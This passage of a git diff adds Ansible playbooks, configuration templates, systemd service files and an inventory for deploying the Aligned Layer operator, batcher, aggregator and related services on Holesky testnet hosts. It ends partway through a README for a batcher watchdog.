+private_key_store_path= +private_key_store_password= +chain_id= +weth_address= +weth_strategy_address= diff --git a/infra/ansible/playbooks/ini/env-batcher.ini.example b/infra/ansible/playbooks/ini/env-batcher.ini.example new file mode 100644 index 000000000..4ea5291e1 --- /dev/null +++ b/infra/ansible/playbooks/ini/env-batcher.ini.example @@ -0,0 +1,7 @@ +[global] +secret_access_key= +region= +access_key_id= +bucket_name= +download_endpoint= +log_level= diff --git a/infra/ansible/playbooks/metrics.yaml b/infra/ansible/playbooks/metrics.yaml new file mode 100644 index 000000000..955055a6a --- /dev/null +++ b/infra/ansible/playbooks/metrics.yaml @@ -0,0 +1,43 @@ +- import_playbook: setup.yaml +- import_playbook: webserver.yaml +- import_playbook: rust.yaml +#- import_playbook: docker.yaml + +- hosts: aligned-holesky-metrics + become: true + vars: + user: "{{ user }}" + + tasks: + # Install required packages + - name: Update apt and install required system packages + apt: + pkg: + state: latest + update_cache: true + + # Create directories for each service + - name: Create directories for each service if do not exist + ansible.builtin.file: + path: /home/{{ user }}/repos/{{ item }} + state: directory + mode: '0755' + become_user: "{{ user }}" + loop: + - metrics + - telemetry + + # Clone Aligned repository for each service + - name: Clone Aligned repository + ansible.builtin.git: + repo: https://github.com/yetanotherco/aligned_layer.git + dest: /home/{{ user }}/repos/{{ item }}/aligned_layer + version: v0.10.2 + become_user: "{{ user }}" + loop: + - metrics + - telemetry + register: repo_clone + failed_when: + - repo_clone.failed + - not 'Local modifications exist in the destination' in repo_clone.msg diff --git a/infra/ansible/playbooks/operator.yaml b/infra/ansible/playbooks/operator.yaml new file mode 100644 index 000000000..d556170d5 --- /dev/null +++ b/infra/ansible/playbooks/operator.yaml @@ -0,0 +1,181 @@ +- name: Run setup playbook + ansible.builtin.import_playbook: setup.yaml + vars: + host: operator + +- name: Run go playbook + ansible.builtin.import_playbook: go.yaml + vars: + host: operator + +- name: Run rust playbook + ansible.builtin.import_playbook: rust.yaml + vars: + host: operator + +- name: Run eigenlayer-cli playbook + ansible.builtin.import_playbook: eigenlayer-cli.yaml + vars: + host: operator + +- name: Run foundry playbook + ansible.builtin.import_playbook: foundry.yaml + vars: + host: operator + + +- hosts: operator + + tasks: + + - name: Update apt and install required system packages + become: true + apt: + pkg: + - pkg-config + - libssl-dev + state: latest + update_cache: true + vars: + ansible_ssh_user: "{{ admin_user }}" + + - name: Create directory for the repository + ansible.builtin.file: + path: /home/{{ ansible_user }}/repos/operator + state: directory + mode: '0755' + owner: '{{ ansible_user }}' + group: '{{ ansible_user }}' + + - name: Clone Aligned repository + ansible.builtin.git: + repo: https://github.com/yetanotherco/aligned_layer.git + dest: /home/{{ ansible_user }}/repos/operator/aligned_layer + version: v0.10.2 + recursive: false + + - name: Build the Operator + make: + chdir: /home/{{ ansible_user }}/repos/operator/aligned_layer + target: build_operator + environment: + PATH: "{{ ansible_env.PATH }}:/usr/bin:/usr/local/go/bin:/home/{{ ansible_user }}/.cargo/bin" + + - name: Copy ECDSA keystore to server + ansible.builtin.copy: + src: '{{ ecdsa_keystore_path }}' + dest: /home/{{ ansible_user }}/.keystores/operator.ecdsa + owner: '{{ ansible_user }}' + group: '{{ ansible_user }}' + + - name: Copy BLS keystore to server + ansible.builtin.copy: + src: '{{ bls_keystore_path }}' + dest: /home/{{ ansible_user }}/.keystores/operator.bls + owner: '{{ ansible_user }}' + group: '{{ ansible_user }}' + + - name: Create variables + set_fact: + weth_strategy_address: "{{ lookup('ini', 'weth_strategy_address', file='ini/config-register-operator.ini') }}" + address: "{{ lookup('ini', 'address', file='ini/config-register-operator.ini') }}" + eth_rpc_url: "{{ lookup('ini', 'eth_rpc_url', file='ini/config-register-operator.ini') }}" + + - name: Check if Operator already staked wETH + ansible.builtin.command: "cast call {{ weth_strategy_address }} shares(address)(uint256) {{ address }} --rpc-url {{ eth_rpc_url }}" + register: operator_stake + environment: + PATH: "{{ ansible_env.PATH }}:/home/{{ ansible_user }}/.foundry/bin" + + - name: Upload config file for register Operator + when: operator_stake.stdout == "0" + template: + src: operator/config-register-operator.yaml.j2 + dest: "/home/{{ ansible_user }}/config/config-register-operator.yaml" + vars: + address: "{{ lookup('ini', 'address', file='ini/config-register-operator.ini') }}" + metadata_url: "{{ lookup('ini', 'metadata_url', file='ini/config-register-operator.ini') }}" + el_delegation_manager_address: "{{ lookup('ini', 'el_delegation_manager_address', file='ini/config-register-operator.ini') }}" + eth_rpc_url: "{{ lookup('ini', 'eth_rpc_url', file='ini/config-register-operator.ini') }}" + private_key_store_path: "{{ lookup('ini', 'private_key_store_path', file='ini/config-register-operator.ini') }}" + chain_id: "{{ lookup('ini', 'chain_id', file='ini/config-register-operator.ini') }}" + + - name: Register Operator in EigenLayer + when: operator_stake.stdout == "0" + shell: + cmd: echo "{{ lookup('ini', 'private_key_store_password', file='ini/config-register-operator.ini') }}" | eigenlayer operator register /home/{{ ansible_user }}/config/config-register-operator.yaml >> register.log 2>&1 + environment: + PATH: "{{ ansible_env.PATH }}:/home/{{ ansible_user }}/bin" + + - name: Swap holETH for wETH + when: operator_stake.stdout == "0" + shell: + cmd: cast send --value 0.1ether {{ lookup('ini', 'weth_address', file='ini/config-register-operator.ini') }} --password {{ lookup('ini', 'private_key_store_password', file='ini/config-register-operator.ini') }} + environment: + PATH: "{{ ansible_env.PATH }}:/home/{{ ansible_user }}/.foundry/bin" + ETH_KEYSTORE: "{{ lookup('ini', 'private_key_store_path', file='ini/config-register-operator.ini') }}" + ETH_PASSWORD: "{{ lookup('ini', 'private_key_store_password', file='ini/config-register-operator.ini') }}" # It is not working idk why + ETH_RPC_URL: "{{ lookup('ini', 'eth_rpc_url', file='ini/config-register-operator.ini') }}" + + - name: Upload config file for Operator + template: + src: config-files/config-operator.yaml.j2 + dest: "/home/{{ ansible_user }}/config/config-operator.yaml" + vars: + aligned_layer_deployment_config_file_path: "{{ lookup('ini', 'aligned_layer_deployment_config_file_path', file='ini/config-operator.ini') }}" + eigen_layer_deployment_config_file_path: "{{ lookup('ini', 'eigen_layer_deployment_config_file_path', file='ini/config-operator.ini') }}" + eth_rpc_url: "{{ lookup('ini', 'eth_rpc_url', file='ini/config-operator.ini') }}" + eth_rpc_url_fallback: "{{ lookup('ini', 'eth_rpc_url_fallback', file='ini/config-operator.ini') }}" + eth_ws_url: "{{ lookup('ini', 'eth_ws_url', file='ini/config-operator.ini') }}" + eth_ws_url_fallback: "{{ lookup('ini', 'eth_ws_url_fallback', file='ini/config-operator.ini') }}" + ecdsa_private_key_store_path: "{{ lookup('ini', 'ecdsa_private_key_store_path', file='ini/config-operator.ini') }}" + ecdsa_private_key_store_password: "{{ lookup('ini', 'ecdsa_private_key_store_password', file='ini/config-operator.ini') }}" + bls_private_key_store_path: "{{ lookup('ini', 'bls_private_key_store_path', file='ini/config-operator.ini') }}" + bls_private_key_store_password: "{{ lookup('ini', 'bls_private_key_store_password', file='ini/config-operator.ini') }}" + aggregator_rpc_server_ip_port_address: "{{ lookup('ini', 'aggregator_rpc_server_ip_port_address', file='ini/config-operator.ini') }}" + operator_tracker_ip_port_address: "{{ lookup('ini', 'operator_tracker_ip_port_address', file='ini/config-operator.ini') }}" + address: "{{ lookup('ini', 'address', file='ini/config-operator.ini') }}" + metadata_url: "{{ lookup('ini', 'metadata_url', file='ini/config-operator.ini') }}" + enable_metrics: "{{ lookup('ini', 'enable_metrics', file='ini/config-operator.ini') }}" + metrics_ip_port_address: "{{ lookup('ini', 'metrics_ip_port_address', file='ini/config-operator.ini') }}" + last_processed_batch_filepath: "{{ lookup('ini', 'last_processed_batch_filepath', file='ini/config-operator.ini') }}" + + - name: Deposit into wETH strategy + when: operator_stake.stdout == "0" + make: + chdir: /home/{{ ansible_user }}/repos/operator/aligned_layer + target: operator_deposit_into_strategy + params: + CONFIG_FILE=/home/{{ ansible_user }}/config/config-operator.yaml + STRATEGY_ADDRESS={{ lookup('ini', 'weth_strategy_address', file='ini/config-register-operator.ini') }} + AMOUNT=100000000000000000 # 0.1ether + environment: + PATH: "{{ ansible_env.PATH }}:/usr/bin:/usr/local/go/bin" + + - name: Allow access to tcp port 9092 from the VPN + become: true + ufw: + rule: allow + port: 9092 + proto: tcp + src: 100.0.0.0/24 + vars: + ansible_ssh_user: "{{ admin_user }}" + + - name: Create systemd services directory + file: + path: "/home/{{ ansible_user }}/.config/systemd/user/" + state: directory + + - name: Add service to systemd + template: + src: services/operator.service.j2 + dest: "/home/{{ ansible_user }}/.config/systemd/user/operator.service" + force: no + + - name: Start Operator service + ansible.builtin.systemd_service: + name: operator + state: started + enabled: true + scope: user diff --git a/infra/ansible/playbooks/rust.yaml b/infra/ansible/playbooks/rust.yaml new file mode 100644 index 000000000..8bf8dcfb0 --- /dev/null +++ b/infra/ansible/playbooks/rust.yaml @@ -0,0 +1,31 @@ +- name: Rust Setup + hosts: "{{ host }}" + + pre_tasks: + - name: update repositories + become: true + apt: update_cache=yes + changed_when: false + vars: + ansible_ssh_user: "{{ admin_user }}" + + tasks: + - name: check if cargo is installed + stat: + path: "/home/{{ ansible_user }}/.cargo/bin/cargo" + register: cargo_exists + + - name: Download Installer + when: not cargo_exists.stat.exists + get_url: + url: https://sh.rustup.rs + dest: /tmp/sh.rustup.rs + mode: '0755' + tags: + - rust + + - name: install rust/cargo + when: not cargo_exists.stat.exists + shell: /tmp/sh.rustup.rs -y && rm /tmp/sh.rustup.rs + tags: + - rust diff --git a/infra/ansible/playbooks/setup.yaml b/infra/ansible/playbooks/setup.yaml new file mode 100644 index 000000000..f5e79ee00 --- /dev/null +++ b/infra/ansible/playbooks/setup.yaml @@ -0,0 +1,55 @@ +- hosts: "{{ host }}" + + tasks: + # Install required packages + - name: Update apt and install required system packages + become: true + apt: + pkg: + - curl + - vim + - git + - ufw + - make + - gcc + state: latest + update_cache: true + vars: + ansible_ssh_user: "{{ admin_user }}" + + # Allow SSH connections and deny by default + - name: UFW - Allow SSH connections + become: true + community.general.ufw: + rule: allow + name: OpenSSH + vars: + ansible_ssh_user: "{{ admin_user }}" + + - name: UFW - Enable and deny by default + become: true + community.general.ufw: + state: enabled + default: deny + vars: + ansible_ssh_user: "{{ admin_user }}" + + # Create basic directories + - name: Create basic directories if do not exist + ansible.builtin.file: + path: /home/{{ ansible_user }}/{{ item }} + state: directory + mode: '0755' + owner: '{{ ansible_user }}' + group: '{{ ansible_user }}' + loop: + - repos + - config + - services + - .keystores + + - name: Enable linger for {{ ansible_user }} + become: true + shell: loginctl enable-linger {{ ansible_user }} + vars: + ansible_ssh_user: "{{ admin_user }}" diff --git a/infra/ansible/playbooks/stage.yaml b/infra/ansible/playbooks/stage.yaml new file mode 100644 index 000000000..346d6f061 --- /dev/null +++ b/infra/ansible/playbooks/stage.yaml @@ -0,0 +1,43 @@ +- import_playbook: setup.yaml +- import_playbook: webserver.yaml +- import_playbook: go.yaml +- import_playbook: rust.yaml +- import_playbook: eigenlayer-cli.yaml + +- hosts: aligned-holesky-stage + become: true + vars: + user: "{{ user }}" + + tasks: + # Create directories for each service + - name: Create directories for each service if do not exist + ansible.builtin.file: + path: /home/{{ user }}/repos/{{ item }} + state: directory + mode: '0755' + become_user: "{{ user }}" + loop: + - batcher + - aggregator + - operator + - explorer + - task_sender + - metrics + - telemetry + + # Clone Aligned repository for each service + - name: Clone Aligned repository + ansible.builtin.git: + repo: https://github.com/yetanotherco/aligned_layer.git + dest: /home/{{ user }}/repos/{{ item }}/aligned_layer + version: v0.10.2 + become_user: "{{ user }}" + loop: + - batcher + - aggregator + - operator + - explorer + - task_sender + - metrics + - telemetry diff --git a/infra/ansible/playbooks/templates/caddy/Caddyfile.batcher.j2 b/infra/ansible/playbooks/templates/caddy/Caddyfile.batcher.j2 new file mode 100644 index 000000000..282a86513 --- /dev/null +++ b/infra/ansible/playbooks/templates/caddy/Caddyfile.batcher.j2 @@ -0,0 +1,13 @@ +# The Caddyfile is an easy way to configure your Caddy web server. + +# To use your own domain name (with automatic HTTPS), first make +# sure your domain's A/AAAA DNS records are properly pointed to +# this machine's public IP, then replace ":80" below with your +# domain name. + +# Refer to the Caddy docs for more information: +# https://caddyserver.com/docs/caddyfile + +{{ batcher_domain }} { + reverse_proxy localhost:8080 +} diff --git a/infra/ansible/playbooks/templates/config-files/config-aggregator.yaml.j2 b/infra/ansible/playbooks/templates/config-files/config-aggregator.yaml.j2 new file mode 100644 index 000000000..49bb8a3c4 --- /dev/null +++ b/infra/ansible/playbooks/templates/config-files/config-aggregator.yaml.j2 @@ -0,0 +1,32 @@ +# Common variables for all the services +# 'production' only prints info and above. 'development' also prints debug +environment: "production" +aligned_layer_deployment_config_file_path: "{{ aligned_layer_deployment_config_file_path }}" +eigen_layer_deployment_config_file_path: "{{ eigen_layer_deployment_config_file_path }}" +eth_rpc_url: "{{ eth_rpc_url }}" +eth_rpc_url_fallback: "{{ eth_rpc_url_fallback }}" +eth_ws_url: "{{ eth_ws_url }}" +eth_ws_url_fallback: "{{ eth_ws_url_fallback }}" +eigen_metrics_ip_port_address: "localhost:9090" + +## ECDSA Configurations +ecdsa: + private_key_store_path: "{{ ecdsa_private_key_store_path }}" + private_key_store_password: "{{ ecdsa_private_key_store_password }}" + +## BLS Configurations +bls: + private_key_store_path: "{{ bls_private_key_store_path }}" + private_key_store_password: "{{ bls_private_key_store_password }}" + +## Aggregator Configurations +aggregator: + server_ip_port_address: localhost:8090 + bls_public_key_compendium_address: + avs_service_manager_address: + enable_metrics: {{ enable_metrics }} + metrics_ip_port_address: "{{ metrics_ip_port_address }}" + telemetry_ip_port_address: "{{ telemetry_ip_port_address }}" + garbage_collector_period: 2m #The period of the GC process. Suggested value for Prod: '168h' (7 days) + garbage_collector_tasks_age: 20 #The age of tasks that will be removed by the GC, in blocks. Suggested value for prod: '216000' (30 days) + garbage_collector_tasks_interval: 10 #The interval of queried blocks to get an old batch. Suggested value for prod: '900' (3 hours) diff --git a/infra/ansible/playbooks/templates/config-files/config-batcher.yaml.j2 b/infra/ansible/playbooks/templates/config-files/config-batcher.yaml.j2 new file mode 100644 index 000000000..b74894779 --- /dev/null +++ b/infra/ansible/playbooks/templates/config-files/config-batcher.yaml.j2 @@ -0,0 +1,30 @@ +# Common variables for all the services +# 'production' only prints info and above. 'development' also prints debug +environment: "production" +aligned_layer_deployment_config_file_path: "{{ aligned_layer_deployment_config_file_path }}" +eigen_layer_deployment_config_file_path: "{{ eigen_layer_deployment_config_file_path }}" +eth_rpc_url: "{{ eth_rpc_url }}" +eth_rpc_url_fallback: "{{ eth_rpc_url_fallback }}" +eth_ws_url: "{{ eth_ws_url }}" +eth_ws_url_fallback: "{{ eth_ws_url_fallback }}" +eigen_metrics_ip_port_address: "localhost:9090" + +## ECDSA Configurations +ecdsa: + private_key_store_path: "{{ ecdsa_private_key_store_path }}" + private_key_store_password: "{{ ecdsa_private_key_store_password }}" + +## Batcher configurations +batcher: + block_interval: 3 + batch_size_interval: 10 + transaction_wait_timeout: 36000 # 3 blocks + max_proof_size: 67108864 # 64 MiB + max_batch_size: 268435456 # 256 MiB + pre_verification_is_enabled: true + eth_ws_reconnects: 99999999999999 + metrics_port: 9093 + telemetry_ip_port_address: {{ telemetry_ip_port_address }} + non_paying: + address: 0xa0Ee7A142d267C1f36714E4a8F75612F20a79720 # Anvil address 9 + replacement_private_key: {{ batcher_replacement_private_key }} diff --git a/infra/ansible/playbooks/templates/config-files/config-operator.yaml.j2 b/infra/ansible/playbooks/templates/config-files/config-operator.yaml.j2 new file mode 100644 index 000000000..fa94a2768 --- /dev/null +++ b/infra/ansible/playbooks/templates/config-files/config-operator.yaml.j2 @@ -0,0 +1,34 @@ +# Common variables for all the services +# 'production' only prints info and above. 'development' also prints debug +environment: 'production' +aligned_layer_deployment_config_file_path: "{{ aligned_layer_deployment_config_file_path }}" +eigen_layer_deployment_config_file_path: "{{ eigen_layer_deployment_config_file_path }}" +eth_rpc_url: "{{ eth_rpc_url }}" +eth_rpc_url_fallback: "{{ eth_rpc_url_fallback }}" +eth_ws_url: "{{ eth_ws_url }}" +eth_ws_url_fallback: "{{ eth_ws_url_fallback }}" +eigen_metrics_ip_port_address: 'localhost:9090' + +## ECDSA Configurations +ecdsa: + private_key_store_path: "{{ ecdsa_private_key_store_path }}" + private_key_store_password: "{{ ecdsa_private_key_store_password }}" + +## BLS Configurations +bls: + private_key_store_path: "{{ bls_private_key_store_path }}" + private_key_store_password: "{{ bls_private_key_store_password }}" + +## Operator Configurations +operator: + aggregator_rpc_server_ip_port_address: "{{ aggregator_rpc_server_ip_port_address }}" + operator_tracker_ip_port_address: "{{ operator_tracker_ip_port_address }}" + address: "{{ address }}" + earnings_receiver_address: "{{ address }}" #Can be the same as the operator. + delegation_approver_address: '0x0000000000000000000000000000000000000000' + staker_opt_out_window_blocks: 0 + metadata_url: "{{ metadata_url }}" + enable_metrics: {{ enable_metrics }} + metrics_ip_port_address: "{{ metrics_ip_port_address }}" + max_batch_size: 268435456 # 256 MiB + last_processed_batch_filepath: "{{ last_processed_batch_filepath }}" diff --git a/infra/ansible/playbooks/templates/config-files/env-batcher.j2 b/infra/ansible/playbooks/templates/config-files/env-batcher.j2 new file mode 100644 index 000000000..c79ad635d --- /dev/null +++ b/infra/ansible/playbooks/templates/config-files/env-batcher.j2 @@ -0,0 +1,6 @@ +AWS_SECRET_ACCESS_KEY={{ secret_access_key }} +AWS_REGION={{ region }} +AWS_ACCESS_KEY_ID={{ access_key_id }} +AWS_BUCKET_NAME={{ bucket_name }} +DOWNLOAD_ENDPOINT={{ download_endpoint }} +RUST_LOG={{ log_level }} # info, debug, error, warn, etc. diff --git a/infra/ansible/playbooks/templates/operator/config-register-operator.yaml.j2 b/infra/ansible/playbooks/templates/operator/config-register-operator.yaml.j2 new file mode 100644 index 000000000..0a7d75c98 --- /dev/null +++ b/infra/ansible/playbooks/templates/operator/config-register-operator.yaml.j2 @@ -0,0 +1,37 @@ +# Reference: https://github.com/Layr-Labs/eigenlayer-cli/blob/master/pkg/operator/config/operator-config-example.yaml +# All the below fields are required for successful operator registration. + +# To learn more about operator fields +# https://github.com/Layr-Labs/eigenlayer-contracts/blob/92ccacc868785350973afc15e90a18dcd39fbc0b/src/contracts/interfaces/IDelegationManager.sol#L21: +operator: + # This is the standard Ethereum address format (ex: 0x6a8c0D554a694899041E52a91B4EC3Ff23d8aBD5) of your operator + # which is the ecdsa key you created or imported using EigenLayer CLI + address: {{ address }} + # This is the standard Ethereum address format (0x...) + # This is the address which operator will use to approve delegation requests from stakers. + # if set, this address must sign and approve new delegation from Stakers to this Operator + # For now, you can leave it with the default value for un-gated delegation requests + # Once we enable gated delegation requests, you can update this field with the address of the approver + delegation_approver_address: 0x0000000000000000000000000000000000000000 + # Please refer to this link for more details on this field https://github.com/Layr-Labs/eigenlayer-contracts/blob/92ccacc868785350973afc15e90a18dcd39fbc0b/src/contracts/interfaces/IDelegationManager.sol#L33: + # Please keep this field to 0, and it can be updated later using EigenLayer CLI + staker_opt_out_window_blocks: 0 + metadata_url: {{ metadata_url }} + +# EigenLayer Delegation manager contract address +# For the testnet address, refer to here: https://github.com/layr-labs/eigenlayer-contracts/?tab=readme-ov-file#current-testnet-deployment +# For the mainnet address, refer to here: https://github.com/layr-labs/eigenlayer-contracts/?tab=readme-ov-file#current-mainnet-deployment +el_delegation_manager_address: {{ el_delegation_manager_address }} + +# ETH RPC URL to the ethereum node you are using for on-chain operations +eth_rpc_url: {{ eth_rpc_url }} + +# Signer Type to use +# Supported values: local_keystore, fireblocks, web3 +signer_type: local_keystore + +# Full path to local ecdsa private key store file +private_key_store_path: {{ private_key_store_path }} + +# Chain ID: 1 for mainnet, 17000 for holesky, 31337 for local +chain_id: {{ chain_id }} diff --git a/infra/ansible/playbooks/templates/services/aggregator.service.j2 b/infra/ansible/playbooks/templates/services/aggregator.service.j2 new file mode 100644 index 000000000..eacf82989 --- /dev/null +++ b/infra/ansible/playbooks/templates/services/aggregator.service.j2 @@ -0,0 +1,15 @@ +[Unit] +Description=Aggregator +After=network.target + +[Service] +Type=simple +WorkingDirectory=/home/{{ ansible_user }}/repos/aggregator/aligned_layer/aggregator +ExecStart=/home/{{ ansible_user }}/repos/aggregator/aligned_layer/build/aligned-aggregator --config /home/{{ ansible_user }}/config/config-aggregator.yaml +Restart=always +RestartSec=1 +StartLimitBurst=100 +LimitNOFILE=100000 + +[Install] +WantedBy=multi-user.target diff --git a/infra/ansible/playbooks/templates/services/batcher.service.j2 b/infra/ansible/playbooks/templates/services/batcher.service.j2 new file mode 100644 index 000000000..231e31963 --- /dev/null +++ b/infra/ansible/playbooks/templates/services/batcher.service.j2 @@ -0,0 +1,15 @@ +[Unit] +Description=Batcher +After=network.target + +[Service] +Type=simple +WorkingDirectory=/home/{{ ansible_user }}/repos/batcher/aligned_layer/batcher +ExecStart=/home/{{ ansible_user }}/.cargo/bin/aligned-batcher --config /home/{{ ansible_user }}/config/config-batcher.yaml --env-file /home/{{ ansible_user }}/config/.env.batcher +Restart=always +RestartSec=1 +StartLimitBurst=100 +LimitNOFILE=100000 + +[Install] +WantedBy=multi-user.target diff --git a/infra/ansible/playbooks/templates/services/operator.service.j2 b/infra/ansible/playbooks/templates/services/operator.service.j2 new file mode 100644 index 000000000..099f1d980 --- /dev/null +++ b/infra/ansible/playbooks/templates/services/operator.service.j2 @@ -0,0 +1,14 @@ +[Unit] +Description=Operator +After=network.target + +[Service] +Type=simple +WorkingDirectory=/home/{{ ansible_user }}/repos/operator/aligned_layer +ExecStart=/home/{{ ansible_user }}/repos/operator/aligned_layer/operator/build/aligned-operator start --config /home/{{ ansible_user }}/config/config-operator.yaml +Restart=always +RestartSec=1 +StartLimitBurst=100 + +[Install] +WantedBy=multi-user.target diff --git a/infra/ansible/playbooks/webserver.yaml b/infra/ansible/playbooks/webserver.yaml new file mode 100644 index 000000000..5696c5acb --- /dev/null +++ b/infra/ansible/playbooks/webserver.yaml @@ -0,0 +1,83 @@ +# Reference https://caddyserver.com/docs/install#debian-ubuntu-raspbian +- hosts: "{{ host }}" + + tasks: + - name: Allow all access to tcp port 80 + become: true + ufw: + rule: allow + port: 80 + proto: tcp + vars: + ansible_ssh_user: "{{ admin_user }}" + + - name: Allow all access to tcp port 443 + become: true + ufw: + rule: allow + port: 443 + proto: tcp + vars: + ansible_ssh_user: "{{ admin_user }}" + + # https://peterbabic.dev/blog/how-to-install-caddy-using-ansible/ + - name: Install required packages + become: true + apt: + update_cache: yes + name: + - debian-keyring + - debian-archive-keyring + - apt-transport-https + state: present + vars: + ansible_ssh_user: "{{ admin_user }}" + + - name: Add Cloudsmith repository + become: true + apt_key: + url: "https://dl.cloudsmith.io/public/caddy/stable/gpg.key" + state: present + vars: + ansible_ssh_user: "{{ admin_user }}" + + + - name: Add Caddy repository to sources list + become: true + apt_repository: + repo: + "deb https://dl.cloudsmith.io/public/caddy/stable/deb/debian + any-version main" + state: present + filename: caddy-stable + vars: + ansible_ssh_user: "{{ admin_user }}" + + - name: Add Caddy src repository to sources list + become: true + apt_repository: + repo: + "deb-src https://dl.cloudsmith.io/public/caddy/stable/deb/debian + any-version main" + state: present + filename: caddy-stable + vars: + ansible_ssh_user: "{{ admin_user }}" + + - name: Install Caddy + become: true + apt: + update_cache: yes + name: caddy + state: present + vars: + ansible_ssh_user: "{{ admin_user }}" + + - name: Enable and start Caddy service + become: true + service: + name: caddy + enabled: yes + state: started + vars: + ansible_ssh_user: "{{ admin_user }}" diff --git a/infra/ansible/stage_inventory.yaml b/infra/ansible/stage_inventory.yaml new file mode 100644 index 000000000..2a4cc8d38 --- /dev/null +++ b/infra/ansible/stage_inventory.yaml @@ -0,0 +1,27 @@ +aggregator: + hosts: + aligned-holesky-aggregator-1: + ansible_host: aligned-holesky-stage-1-aggregator + admin_user: admin + ansible_user: app + ansible_python_interpreter: /usr/bin/python3 +batcher: + hosts: + aligned-holesky-stage-1: + ansible_host: aligned-holesky-stage-1 + admin_user: admin + ansible_user: app + ansible_python_interpreter: /usr/bin/python3 +# explorer: +# hosts: +# aligned-holesky-explorer: +# ansible_host: aligned-holesky-explorer +# ansible_user: admin +# ansible_python_interpreter: /usr/bin/python3 +operator: + hosts: + operator-1: + ansible_host: aligned-holesky-stage-1 + admin_user: admin + ansible_user: app + ansible_python_interpreter: /usr/bin/python3 diff --git a/infra/services/aggregator.service b/infra/services/aggregator.service new file mode 100644 index 000000000..a514b61ee --- /dev/null +++ b/infra/services/aggregator.service @@ -0,0 +1,15 @@ +[Unit] +Description=Aggregator +After=network.target + +[Service] +Type=simple +User=ubuntu +WorkingDirectory=/home/ubuntu/repos/aligned_layer +ExecStart=/home/ubuntu/repos/aligned_layer/aggregator/build/aligned-aggregator --config /home/ubuntu/repos/aligned_layer/config-files/config.yaml +Restart=always +RestartSec=1 +StartLimitBurst=100 + +[Install] +WantedBy=multi-user.target diff --git a/infra/services/avs-sync.service b/infra/services/avs-sync.service new file mode 100644 index 000000000..fb4f4bd96 --- /dev/null +++ b/infra/services/avs-sync.service @@ -0,0 +1,16 @@ +[Unit] +Description=Avs-Sync +After=network.target + +[Service] +Type=simple +User=ubuntu +EnvironmentFile=/home/ubuntu/config/.env.avssync +WorkingDirectory=/home/ubuntu/repos/avs-sync +ExecStart=/home/ubuntu/go/bin/avs-sync +Restart=always +RestartSec=1 +StartLimitBurst=100 + +[Install] +WantedBy=multi-user.target diff --git a/infra/services/batcher.service b/infra/services/batcher.service new file mode 100644 index 000000000..0b27ddef6 --- /dev/null +++ b/infra/services/batcher.service @@ -0,0 +1,15 @@ +[Unit] +Description=Batcher +After=network.target + +[Service] +Type=simple +WorkingDirectory=/home/{{ ansible_user }}/repos/batcher/aligned_layer/batcher +ExecStart=/home/{{ ansible_user }}/.cargo/bin/aligned-batcher --config /home/{{ ansible_user }}/config/config-batcher-holesky.yaml --env-file /home/{{ ansible_user }}/config/.env.batcher +Restart=always +RestartSec=1 +StartLimitBurst=100 +LimitNOFILE=100000 + +[Install] +WantedBy=multi-user.target diff --git a/infra/services/explorer.service b/infra/services/explorer.service new file mode 100644 index 000000000..1d7a5aff4 --- /dev/null +++ b/infra/services/explorer.service @@ -0,0 +1,16 @@ +[Unit] +Description=Explorer +After=network.target + +[Service] +Type=simple +User=ubuntu +Environment=PATH="$PATH:/home/ubuntu/.asdf/shims:/home/ubuntu/.asdf/bin:/usr/bin" +WorkingDirectory=/home/ubuntu/repos/explorer/aligned_layer +ExecStart=make run_explorer +Restart=always +RestartSec=1 +StartLimitBurst=100 + +[Install] +WantedBy=multi-user.target diff --git a/infra/services/operator-1.service b/infra/services/operator-1.service new file mode 100644 index 000000000..30b8b0ef9 --- /dev/null +++ b/infra/services/operator-1.service @@ -0,0 +1,15 @@ +[Unit] +Description=Operator 1 +After=network.target + +[Service] +Type=simple +User=ubuntu +WorkingDirectory=/home/ubuntu/repos/aligned_layer +ExecStart=/home/ubuntu/repos/aligned_layer/operator/build/aligned-operator start --config /home/ubuntu/repos/aligned_layer/config-files/config-operator-1.yaml +Restart=always +RestartSec=1 +StartLimitBurst=100 + +[Install] +WantedBy=multi-user.target diff --git a/infra/services/prometheus.service b/infra/services/prometheus.service new file mode 100644 index 000000000..2d8138714 --- /dev/null +++ b/infra/services/prometheus.service @@ -0,0 +1,13 @@ +[Unit] +Description=Prometheus +After=network.target + +[Service] +Type=simple +User=ubuntu +WorkingDirectory=/home/ubuntu/prometheus-2.52.0.linux-amd64 +ExecStart=/home/ubuntu/prometheus-2.52.0.linux-amd64/prometheus --config.file=/home/ubuntu/repos/aligned_layer/prometheus/prometheus.yaml +Restart=always + +[Install] +WantedBy=multi-user.target diff --git a/infra/services/telemetry.service b/infra/services/telemetry.service new file mode 100644 index 000000000..9d97fc73b --- /dev/null +++ b/infra/services/telemetry.service @@ -0,0 +1,17 @@ +[Unit] +Description=Telemetry +After=network.target + +[Service] +Type=simple +User=ubuntu +EnvironmentFile=/home/ubuntu/config/.env.telemetry +Environment=PATH="$PATH:/home/ubuntu/.asdf/shims:/home/ubuntu/.asdf/bin:/usr/bin" +WorkingDirectory=/home/ubuntu/repos/telemetry/aligned_layer +ExecStart=/home/ubuntu/repos/telemetry/aligned_layer/telemetry_api/_build/prod/rel/telemetry_api/bin/telemetry_api start +Restart=always +RestartSec=1 +StartLimitBurst=100 + +[Install] +WantedBy=multi-user.target diff --git a/infra/services/tracker.service b/infra/services/tracker.service new file mode 100644 index 000000000..6da986e2a --- /dev/null +++ b/infra/services/tracker.service @@ -0,0 +1,15 @@ +[Unit] +Description=Operator Tracker +After=network.target + +[Service] +Type=simple +User=ubuntu +WorkingDirectory=/home/ubuntu/repos/tracker/aligned_layer/operator_tracker +ExecStart=/home/ubuntu/.cargo/bin/operator_tracker --env-file /home/ubuntu/config/.env.tracker +Restart=always +RestartSec=1 +StartLimitBurst=100 + +[Install] +WantedBy=multi-user.target diff --git a/infra/watchdog/batcher/.env.example b/infra/watchdog/batcher/.env.example new file mode 100644 index 000000000..336f7774f --- /dev/null +++ b/infra/watchdog/batcher/.env.example @@ -0,0 +1,6 @@ +PROMETHEUS_URL=: +SYSTEMD_SERVICE=batcher +PROMETHEUS_COUNTER=sent_batches +PROMETHEUS_BOT=batcher +PROMETHEUS_INTERVAL=20m +SLACK_WEBHOOK_URL=<> diff --git a/infra/watchdog/batcher/README.md b/infra/watchdog/batcher/README.md new file mode 100644 index 000000000..df6621337 --- /dev/null +++ b/infra/watchdog/batcher/README.md @@ -0,0 +1,42 @@ +# Batcher Watchdog + +The Batcher Watchdog checks a prometheus metric and restart the Batcher as needed. + +The metric is the quantity of batches sent in the last N minutes, defined in the PROMETHEUS_INTERVAL variable. Lets call this metric `sent_batches`. + +Since we are sending proofs constantly, the ideal behaviour is the creation of a task every 3 Ethereum 